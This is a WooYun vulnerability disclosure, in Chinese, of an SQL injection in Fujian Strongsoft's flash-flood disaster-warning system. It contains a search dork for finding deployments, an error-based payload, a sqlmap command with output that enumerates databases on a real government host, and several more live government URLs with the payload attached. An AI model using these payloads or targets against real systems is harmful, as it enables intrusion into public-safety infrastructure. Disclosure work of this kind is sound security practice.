当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083926

漏洞标题:福建四创灾害预警系统SQL注入漏洞

相关厂商:福建四创软件有限公司

漏洞作者: 路人甲

提交时间:2014-11-24 01:03

修复时间:2015-02-22 01:04

公开时间:2015-02-22 01:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-24: 细节已通知厂商并且等待厂商处理中
2014-11-28: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向第三方安全合作伙伴开放
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-22: 细节向公众公开

简要描述:

RT

详细说明:

该灾害预警系统为福建四创软件开发的“山洪灾害预警监测系统”
官网:http://www.strongsoft.net/
谷歌搜索: intitle:预警 系统 技术支持:福建四创

0.png


注入链接:/Duty/MailList/ContactUpdate.aspx
注入参数:ContactID
Payload:ContactID=-1+and+1=@@version

漏洞证明:

测试案例:
http://shzh.wlfx.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1
【报错注入】
http://shzh.wlfx.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version

1.png


【sqlmap注入】
$ py sqlmap.py -u 'http://shzh.wlfx.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1' -p ContactID --dbms mssql --level 5 --risk 3 --dbs -v 0
---
Place: GET
Parameter: ContactID
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: ReadOnly=&UnitID=1&ContactID=-5345 OR (1886=1886)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ReadOnly=&UnitID=1&ContactID=-1 AND 1596=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(102)+CHAR(115)+CHAR(113)+(SELECT (CA
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: ReadOnly=&UnitID=1&ContactID=-1 UNION ALL SELECT CHAR(113)+CHAR(115)+CHAR(102)+CHAR(115)+CHAR(113)+CHAR(66)+CHAR(68)+CHAR(
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: ReadOnly=&UnitID=1&ContactID=-1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ReadOnly=&UnitID=1&ContactID=-1 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ReadOnly=&UnitID=1&ContactID=(SELECT CHAR(113)+CHAR(115)+CHAR(102)+CHAR(115)+CHAR(113)+(SELECT (CASE WHEN (5978=5978) THEN
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
available databases [15]:
[*] AhadDataImage
[*] AHADDATE
[*] gq_center
[*] gq_tmp
[*] IStrongCMS_ZJWLFX
[*] master
[*] model
[*] msdb
[*] SoftDB_StrongExt_WLPC
[*] strongmain
[*] StrongWater
[*] tempdb
[*] wenlingslj
[*] wenlingSoftdb
[*] wlfxbtest1

2.png

3.png


其他案例:
http://shzh.wlfx.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version
http://shzh.dqwater.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version
http://218.86.6.48:3505/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version
http://yj.yywater.gov.cn/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version
http://222.83.214.58:8088/Duty/MailList/ContactUpdate.aspx?ReadOnly=&UnitID=1&ContactID=-1+and+1=@@version

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-28 10:50

厂商回复:

最新状态:

暂无